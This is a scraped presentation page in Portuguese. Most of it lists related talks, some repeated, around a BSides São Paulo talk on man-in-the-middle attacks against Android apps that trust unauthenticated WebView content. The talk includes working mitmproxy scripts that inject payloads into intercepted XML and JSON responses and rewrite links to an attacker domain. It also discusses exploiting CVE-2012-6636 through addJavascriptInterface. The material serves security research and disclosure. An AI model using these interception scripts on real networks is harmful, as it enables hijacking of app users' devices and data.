Muitos aplicativos Android possuem instâncias da classe WebView e derivadas, a fim de processar e renderizar conteúdo Web (html, javascript , etc). Nessa apresentação vou explorar três possibilidades de se prejudicar o usuário, todas elas baseadas na não autenticação das informações devolvidas ao aplicativo. Vou ilustrar a palestra usuando aplicativos populares brasileiros.
O CJR Apresenta chega em sua segunda versão, de muitas, e dessa vez trás Thiago Stuckert e Leandro Silva dos Santos, formandos em Ciência da Computação, para falar de um assunto que jamais perderrá sua importância: Segurança na Web.
Nessa palestra, serão apresentados os 10 maiores riscos no desenvolvimento para Web, apontados através do OWASP (Open Web Application Security Project), projeto que a cada 3 anos, realiza esse estudo sobre os riscos na Web.
O documento descreve a evolução do framework AngularJS, desde sua criação em 2009 até as mudanças trazidas pela versão 2.0. Apresenta os principais recursos de cada versão e explica como alguns conceitos foram modificados ou removidos para aproveitar melhorias na linguagem JavaScript.
Este documento descreve como construir uma aplicação usando Node.js, Socket.io e AngularJS para permitir que usuários enviem e recebam mensagens em grupos em tempo real. Explica como configurar os arquivos e código para criar grupos de mensagens, se conectar a eles e transmitir mensagens entre clientes e servidor.
AngularJS é um framework JavaScript para desenvolvimento de aplicações web que estrutura a aplicação em camadas bem definidas como View, Controller e Scope. Ele fornece recursos como componentes reusáveis, integração com back-end e facilitação de testes automatizados.
JSF 2.0: Uma Evolução nas Interfaces Web com JavaDr. Spock
Este documento apresenta as principais características do framework JavaServer Faces 2.0 e da plataforma Arduino/Program-ME. A agenda inclui uma discussão sobre JSF, benefícios, deficiências da versão anterior, novidades do JSF 2.0 e demonstrações dos projetos ScrumToys e Program-ME. O documento também fornece mais informações sobre esses tópicos.
Rodrigo Branas é um desenvolvedor de software com mais de 12 anos de experiência trabalhando com Java. Ele é fundador da Agile Code, onde cria treinamentos, e escreve artigos sobre desenvolvimento ágil. Seus interesses incluem liderança, ensino e compartilhamento de conhecimento.
O documento descreve um treinamento sobre automação de testes com Selenium WebDriver. Ele apresenta informações sobre o instrutor Rodrigo Branas, incluindo sua experiência e realizações, e fornece detalhes sobre o processo de instalação do Selenium e como usar seus principais recursos, como navegar entre páginas e localizar elementos na página.
[1] O documento apresenta Paulo Renato Lopes Seixas, um especialista em segurança de redes e projetos de TI. [2] Ele descreve brevemente suas qualificações e experiência em implementação de soluções de segurança usando software livre como GNU/Linux. [3] O documento também fornece uma introdução sobre testes de penetração (pen test) e engenharia social.
O CJR Apresenta chega em sua segunda versão, de muitas, e dessa vez trás Thiago Stuckert e Leandro Silva dos Santos, formandos em Ciência da Computação, para falar de um assunto que jamais perderrá sua importância: Segurança na Web.
Nessa palestra, serão apresentados os 10 maiores riscos no desenvolvimento para Web, apontados através do OWASP (Open Web Application Security Project), projeto que a cada 3 anos, realiza esse estudo sobre os riscos na Web.
O documento descreve a evolução do framework AngularJS, desde sua criação em 2009 até as mudanças trazidas pela versão 2.0. Apresenta os principais recursos de cada versão e explica como alguns conceitos foram modificados ou removidos para aproveitar melhorias na linguagem JavaScript.
Este documento descreve como construir uma aplicação usando Node.js, Socket.io e AngularJS para permitir que usuários enviem e recebam mensagens em grupos em tempo real. Explica como configurar os arquivos e código para criar grupos de mensagens, se conectar a eles e transmitir mensagens entre clientes e servidor.
AngularJS é um framework JavaScript para desenvolvimento de aplicações web que estrutura a aplicação em camadas bem definidas como View, Controller e Scope. Ele fornece recursos como componentes reusáveis, integração com back-end e facilitação de testes automatizados.
JSF 2.0: Uma Evolução nas Interfaces Web com JavaDr. Spock
Este documento apresenta as principais características do framework JavaServer Faces 2.0 e da plataforma Arduino/Program-ME. A agenda inclui uma discussão sobre JSF, benefícios, deficiências da versão anterior, novidades do JSF 2.0 e demonstrações dos projetos ScrumToys e Program-ME. O documento também fornece mais informações sobre esses tópicos.
Rodrigo Branas é um desenvolvedor de software com mais de 12 anos de experiência trabalhando com Java. Ele é fundador da Agile Code, onde cria treinamentos, e escreve artigos sobre desenvolvimento ágil. Seus interesses incluem liderança, ensino e compartilhamento de conhecimento.
O documento descreve um treinamento sobre automação de testes com Selenium WebDriver. Ele apresenta informações sobre o instrutor Rodrigo Branas, incluindo sua experiência e realizações, e fornece detalhes sobre o processo de instalação do Selenium e como usar seus principais recursos, como navegar entre páginas e localizar elementos na página.
[1] O documento apresenta Paulo Renato Lopes Seixas, um especialista em segurança de redes e projetos de TI. [2] Ele descreve brevemente suas qualificações e experiência em implementação de soluções de segurança usando software livre como GNU/Linux. [3] O documento também fornece uma introdução sobre testes de penetração (pen test) e engenharia social.
Evolução das arquiteturas para aplicações WebBreno Vitorino
O documento descreve a evolução das arquiteturas para aplicações Web, começando com as primeiras arquiteturas CGI e de linguagens de script para páginas dinâmicas, depois evoluindo para MVC, orientado a eventos e serviços Web. Também discute a importância de definir uma arquitetura para mitigar riscos e as necessidades de pessoal especializado para lidar com novos paradigmas de aplicações assíncronas e offline.
O documento discute o desenvolvimento de aplicações móveis com Java 2 Micro Edition (J2ME), abordando tópicos como a popularização de dispositivos microprocessados, o interesse no mercado de aplicativos móveis, as vantagens da plataforma Java para pequenos dispositivos, a arquitetura J2ME, as configurações e perfis CLDC e MIDP, ferramentas de desenvolvimento, etapas de criação de um aplicativo MIDP e exemplos de código.
Desenvolvimento android braga_geek_nights (1)muldy
O documento apresenta uma palestra sobre desenvolvimento Android dada por Miguel Fernandes e Pedro Araújo na Braga Geek Nights. Apresenta breve história do Android, características principais como ser open source, e desafios como fragmentação de versões entre fabricantes. Discute também arquitetura, desenvolvimento de aplicações e segurança no Android Market.
O documento discute o desenvolvimento de aplicativos móveis multiplataforma. Em 3 frases:
Discutem-se as vantagens e desvantagens de aplicativos nativos, híbridos e da web para dispositivos móveis. Apresenta-se o Phonegap como uma ferramenta para desenvolver aplicativos híbridos utilizando HTML, CSS e JavaScript. Demonstra-se o uso da API do Twitter para buscar tweets através do Phonegap.
O documento discute segurança no Android, abordando os principais riscos de ataques a smartphones, como malware, vulnerabilidades e ataques de rede. Explica a arquitetura de segurança do Android, incluindo isolamento entre aplicativos, permissões e assinatura digital. Também trata de comunicação segura, riscos de ataques Man-in-the-Middle e a importância da criptografia.
Chrome Apps e NodeWebkit: traga seu webapp para o Desktop - #outubrorosaJoselito Nascimento
1) O documento discute como aplicativos web podem ser trazidos para o desktop usando Chrome Apps e NodeWebkit.
2) Chrome Apps permitem que aplicativos sejam compilados para o Chrome e rodem como aplicativos nativos do sistema, enquanto NodeWebkit permite executar aplicativos web como aplicativos desktop nativos usando o motor V8 do Node.js.
3) Ambas as tecnologias fornecem APIs para interface gráfica e acesso a recursos do sistema, permitindo que aplicativos web sejam empacotados e distribuídos
O documento discute as Progressive Web Apps (PWAs) e seus benefícios. Ele descreve como as PWAs podem fornecer uma experiência semelhante à de um aplicativo nativo usando tecnologias da web como service workers e o manifesto da web app. Exemplos de empresas que tiveram sucesso com PWAs são apresentados, mostrando melhorias como maior tempo de uso do site, taxa de reengajamento e menor uso de dados.
Internet das Coisas com Android things e Machine LearningAlvaro Viebrantz
Como desenvolver projetos de internet das coisas utilizando a nova plataforma do Google para isso que é o Android Things e também adicionar funcionalidades de Machine Learning aos seus projetos de forma mais facilitada.
Aprender tecnologias Web não é tão simples mas pode ser um grande diferencial no seu toolkit de ferramentas. Nesta palestra, vamos conhecer algumas das situações em que o desenvolvedor mobile pode utilizar HTML, CSS e JavaScript no seu dia-a-dia.
O documento discute o desenvolvimento de aplicações móveis usando HTML, CSS e JavaScript, abordando:
1) PhoneGap e frameworks JavaScript permitem criar aplicações nativas para múltiplas plataformas usando uma única base de código;
2) Um exemplo mostra como portar uma aplicação do Symbian para Android usando PhoneGap;
3) APIs nativas como geolocalização e câmera podem ser acessadas, apesar de adaptações para cada plataforma.
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...tdc-globalcode
O documento discute boas práticas de segurança para aplicações web PHP, cobrindo tópicos como injeção de código, autenticação, sessões, XSS, CSRF e outras vulnerabilidades do OWASP Top 10. Ele também fornece exemplos de como implementar filtros, hashes de senha, verificação de tokens e outras técnicas para melhorar a segurança.
O documento apresenta uma introdução ao desenvolvimento de aplicativos para a plataforma Android. Resume os principais tópicos abordados como arquitetura do Android, componentes de uma aplicação, interface de desenvolvimento e publicação no Android Market.
2017 08-11 - Androidos V - Minicurso - Introdução ao androidMessias Batista
Este documento apresenta uma introdução ao framework Android, abordando tópicos como: como aprender Android, um breve histórico do Android, ferramentas de desenvolvimento como Android Studio, criação do primeiro projeto, conceitos importantes como Activity e ciclo de vida, depuração com Android Debug Monitor e Logcat, e introdução ao Material Design.
Criando uma grid para execução de testes paralelo com AppiumElias Nogueira
Este documento descreve como criar uma "grid" para execução paralela de testes automatizados usando o Appium. A grid conecta vários dispositivos móveis a um único controlador para permitir que testes sejam executados simultaneamente em diferentes dispositivos, melhorando a cobertura e reduzindo o tempo de execução. O documento discute os desafios da fragmentação de plataformas, como configurar o Selenium Grid e nós, e como escrever testes para aproveitar a execução paralela.
Introdução à programação em Android SENAC 17.06.2013guisester
Guilherme Callegaro Sesterheim apresenta sobre desenvolvimento para Android. Ele discute brevemente sobre a história do Android, ambientes de desenvolvimento, armazenamento de dados e segurança. O foco principal é ensinar os fundamentos e componentes principais para criar aplicativos móveis para a plataforma Android.
O documento discute o sistema operacional Android Lollipop, incluindo suas principais atualizações e recursos como Material Design, melhorias de desempenho, novas APIs, e suporte para dispositivos como Android TV, Android Auto e Android Wear.
O documento discute a importância da segurança de aplicações web ao longo do ciclo de desenvolvimento de software. Apresenta os principais vetores de ataque a aplicações web, como injeção de código e cross-site scripting. Defende a necessidade de testes de segurança desde as primeiras fases do desenvolvimento para identificar e corrigir vulnerabilidades.
O documento discute análise de vulnerabilidades em aplicações web, abordando princípios de sistemas web, ataques web, princípios de segurança web, OWASP, ferramentas de análise e auditoria, vulnerabilidades web e oportunidades. O documento também apresenta uma demonstração da ferramenta WebGoat para ensinar sobre segurança em aplicações web.
Mais conteúdo relacionado
Semelhante a Ataques MITM a aplicativos android: abusando da confiança dos desenvolvedores
Evolução das arquiteturas para aplicações WebBreno Vitorino
O documento descreve a evolução das arquiteturas para aplicações Web, começando com as primeiras arquiteturas CGI e de linguagens de script para páginas dinâmicas, depois evoluindo para MVC, orientado a eventos e serviços Web. Também discute a importância de definir uma arquitetura para mitigar riscos e as necessidades de pessoal especializado para lidar com novos paradigmas de aplicações assíncronas e offline.
O documento discute o desenvolvimento de aplicações móveis com Java 2 Micro Edition (J2ME), abordando tópicos como a popularização de dispositivos microprocessados, o interesse no mercado de aplicativos móveis, as vantagens da plataforma Java para pequenos dispositivos, a arquitetura J2ME, as configurações e perfis CLDC e MIDP, ferramentas de desenvolvimento, etapas de criação de um aplicativo MIDP e exemplos de código.
Desenvolvimento android braga_geek_nights (1)muldy
O documento apresenta uma palestra sobre desenvolvimento Android dada por Miguel Fernandes e Pedro Araújo na Braga Geek Nights. Apresenta breve história do Android, características principais como ser open source, e desafios como fragmentação de versões entre fabricantes. Discute também arquitetura, desenvolvimento de aplicações e segurança no Android Market.
O documento discute o desenvolvimento de aplicativos móveis multiplataforma. Em 3 frases:
Discutem-se as vantagens e desvantagens de aplicativos nativos, híbridos e da web para dispositivos móveis. Apresenta-se o Phonegap como uma ferramenta para desenvolver aplicativos híbridos utilizando HTML, CSS e JavaScript. Demonstra-se o uso da API do Twitter para buscar tweets através do Phonegap.
O documento discute segurança no Android, abordando os principais riscos de ataques a smartphones, como malware, vulnerabilidades e ataques de rede. Explica a arquitetura de segurança do Android, incluindo isolamento entre aplicativos, permissões e assinatura digital. Também trata de comunicação segura, riscos de ataques Man-in-the-Middle e a importância da criptografia.
Chrome Apps e NodeWebkit: traga seu webapp para o Desktop - #outubrorosaJoselito Nascimento
1) O documento discute como aplicativos web podem ser trazidos para o desktop usando Chrome Apps e NodeWebkit.
2) Chrome Apps permitem que aplicativos sejam compilados para o Chrome e rodem como aplicativos nativos do sistema, enquanto NodeWebkit permite executar aplicativos web como aplicativos desktop nativos usando o motor V8 do Node.js.
3) Ambas as tecnologias fornecem APIs para interface gráfica e acesso a recursos do sistema, permitindo que aplicativos web sejam empacotados e distribuídos
O documento discute as Progressive Web Apps (PWAs) e seus benefícios. Ele descreve como as PWAs podem fornecer uma experiência semelhante à de um aplicativo nativo usando tecnologias da web como service workers e o manifesto da web app. Exemplos de empresas que tiveram sucesso com PWAs são apresentados, mostrando melhorias como maior tempo de uso do site, taxa de reengajamento e menor uso de dados.
Internet das Coisas com Android things e Machine LearningAlvaro Viebrantz
Como desenvolver projetos de internet das coisas utilizando a nova plataforma do Google para isso que é o Android Things e também adicionar funcionalidades de Machine Learning aos seus projetos de forma mais facilitada.
Aprender tecnologias Web não é tão simples mas pode ser um grande diferencial no seu toolkit de ferramentas. Nesta palestra, vamos conhecer algumas das situações em que o desenvolvedor mobile pode utilizar HTML, CSS e JavaScript no seu dia-a-dia.
O documento discute o desenvolvimento de aplicações móveis usando HTML, CSS e JavaScript, abordando:
1) PhoneGap e frameworks JavaScript permitem criar aplicações nativas para múltiplas plataformas usando uma única base de código;
2) Um exemplo mostra como portar uma aplicação do Symbian para Android usando PhoneGap;
3) APIs nativas como geolocalização e câmera podem ser acessadas, apesar de adaptações para cada plataforma.
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...tdc-globalcode
O documento discute boas práticas de segurança para aplicações web PHP, cobrindo tópicos como injeção de código, autenticação, sessões, XSS, CSRF e outras vulnerabilidades do OWASP Top 10. Ele também fornece exemplos de como implementar filtros, hashes de senha, verificação de tokens e outras técnicas para melhorar a segurança.
O documento apresenta uma introdução ao desenvolvimento de aplicativos para a plataforma Android. Resume os principais tópicos abordados como arquitetura do Android, componentes de uma aplicação, interface de desenvolvimento e publicação no Android Market.
2017 08-11 - Androidos V - Minicurso - Introdução ao androidMessias Batista
Este documento apresenta uma introdução ao framework Android, abordando tópicos como: como aprender Android, um breve histórico do Android, ferramentas de desenvolvimento como Android Studio, criação do primeiro projeto, conceitos importantes como Activity e ciclo de vida, depuração com Android Debug Monitor e Logcat, e introdução ao Material Design.
Criando uma grid para execução de testes paralelo com AppiumElias Nogueira
Este documento descreve como criar uma "grid" para execução paralela de testes automatizados usando o Appium. A grid conecta vários dispositivos móveis a um único controlador para permitir que testes sejam executados simultaneamente em diferentes dispositivos, melhorando a cobertura e reduzindo o tempo de execução. O documento discute os desafios da fragmentação de plataformas, como configurar o Selenium Grid e nós, e como escrever testes para aproveitar a execução paralela.
Introdução à programação em Android SENAC 17.06.2013guisester
Guilherme Callegaro Sesterheim apresenta sobre desenvolvimento para Android. Ele discute brevemente sobre a história do Android, ambientes de desenvolvimento, armazenamento de dados e segurança. O foco principal é ensinar os fundamentos e componentes principais para criar aplicativos móveis para a plataforma Android.
O documento discute o sistema operacional Android Lollipop, incluindo suas principais atualizações e recursos como Material Design, melhorias de desempenho, novas APIs, e suporte para dispositivos como Android TV, Android Auto e Android Wear.
O documento discute a importância da segurança de aplicações web ao longo do ciclo de desenvolvimento de software. Apresenta os principais vetores de ataque a aplicações web, como injeção de código e cross-site scripting. Defende a necessidade de testes de segurança desde as primeiras fases do desenvolvimento para identificar e corrigir vulnerabilidades.
O documento discute análise de vulnerabilidades em aplicações web, abordando princípios de sistemas web, ataques web, princípios de segurança web, OWASP, ferramentas de análise e auditoria, vulnerabilidades web e oportunidades. O documento também apresenta uma demonstração da ferramenta WebGoat para ensinar sobre segurança em aplicações web.
Semelhante a Ataques MITM a aplicativos android: abusando da confiança dos desenvolvedores (20)
Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010
Ataques MITM a aplicativos android: abusando da confiança dos desenvolvedores
1. Security BSides São Paulo ed naovaitercopa
Ataques MITM a Aplicativos Android
Abusando da confiança dos desenvolvedores
Ivan Joker Jeukens
ivanjokerbr@gmail.com
4. Motivação
● Nasceu de web app pentest
● Muitos aplicativos são navegadores modificados e/ou
incrementados (WebView, ChromeWebView, etc)
● Vantagem
– Temos o código do cliente, além das responstas do
server!
– Ofuscação .. uhh?!
● Idéia inicial
– Capturar na direção aplicativo → servidor
● Perigo
– Ataques direcionados
5. Setup operacional
● Android SDK
– AVD Android 4.0.3 CPU/ABI Intel Atom
● mitmproxy.org
– Scripts em python para manipular requests e responses
● code.google.com/p/android-apktool/
– descompactar e produzir os .smali
● github.com/egirault/googleplay-api.git
– scripts para baixar aplicativos do play
● mitm na real
– iptables e airbase-ng
6. Injetando
def response(ctx, flow):
if flow.response.content != None and isXml(flow.response.headers['Content-Type']):
etype = flow.response.headers['Content-Encoding'];
flow.response.decode()
root = etree.XML(flow.response.content, parser)
processXML(root)
flow.response.content = etree.tostring(root, encoding='UTF-8')
flow.response.headers['Content-Encoding'] = etype;
if 'gzip' in etype:
flow.response.encode('gzip')
elif flow.response.content != None and (isJson(flow.response.headers['Content-Type']) or
isJavascript(flow.response.headers['Content-Type']) ):
….
elif flow.response.content != None and isHtmlText( flow.response.headers['Content-Type'] ):
….
7. Injetando
def processXML(data, log):
for child in data.iter():
if child != None:
if child.tag != None and isinstance(child.tag, basestring):
if len(child) == 0:
if child.text != None:
if scanForHtmlTag(child.text):
child.text = payload
payload = '<img width="30" height="43" title="" alt="" src="data:image/png;base64,.....
● XML
8. Injetando
def processJson(data):
if type(data) is list:
for m in data:
processJson(m)
elif type(data) is dict:
for key in data:
if isinstance(data[key], unicode):
if scanForHtmlTag(data[key]):
data[key] = data[key] + payload
else:
processJson(data[key])
else:
return
● JSON
18. Payload 2
● CVE-2012-6636
– The Android API before 17 does not properly restrict the
WebView.addJavascriptInterface method
● Afeta android < 4.2 … em teoria
– Alguns 2.3.X não funciona
– Alguns 3.X não funciona 100%
● Around 70% of all Android devices in the field are subject to a
Javascript exploit that could allow an attacker remote access to your
phone by doing nothing more than surfing to a malicious page or
scanning in a malicious QR Code.
– Bibliotecas de propaganda
20. Payload 2
● Android > 4.2
– obriga @JavascriptInterface method wise
● Estatísticas
● googleplay-api
– script para baixar os 100 mais populares aplicativos
gratuítos de todas as classes
2379 Apps baixados
922 tem addJavascript Interface
339 (14%) não tem anotação @JavascriptInterface
23. Payload 3
● Link changer
def processJson(data):
if type(data) is list:
for m in data:
processJson(m)
elif type(data) is dict:
for key in data:
if isinstance(data[key], unicode):
if scanForHtmlTag(data[key]):
data[key] = data[key] + payload
elif "http://" in data[key]:
data[key] = "http://www.joker.com.br"
else:
processJson(data[key])
29. Praticidade
● Precisa:
– estar perto do alvo (wifi range)
– ter sorte de achar algum probe dele ou ele gostar do seu AP
– Ter uma DB de aplicativos vulneráveis e escanear os
requests atrás de um....
– ...ou...
– Ser dedicado e fazer um recon do alvo antes, ir para o lab, e
voltar com os apps que são vulneráveis
– Pegar o momento do request